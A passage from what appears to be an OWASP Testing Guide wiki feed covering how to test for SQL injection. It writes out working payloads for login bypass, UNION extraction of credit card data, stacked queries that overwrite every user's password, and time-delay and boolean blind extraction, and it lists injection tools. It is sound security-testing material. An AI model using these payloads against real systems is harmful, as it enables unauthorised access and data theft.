The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210712</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210712"/>
				<updated>2016-03-09T03:10:22Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Time delay Exploitation technique */ - fix typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Standard SQL Injection Testing===&lt;br /&gt;
&lt;br /&gt;
====Example 1 (classical SQL Injection):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
====Example 2 (simple SELECT statement):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
====Example 3 (Stacked queries):====&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Fingerprinting the Database===&lt;br /&gt;
 &lt;br /&gt;
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
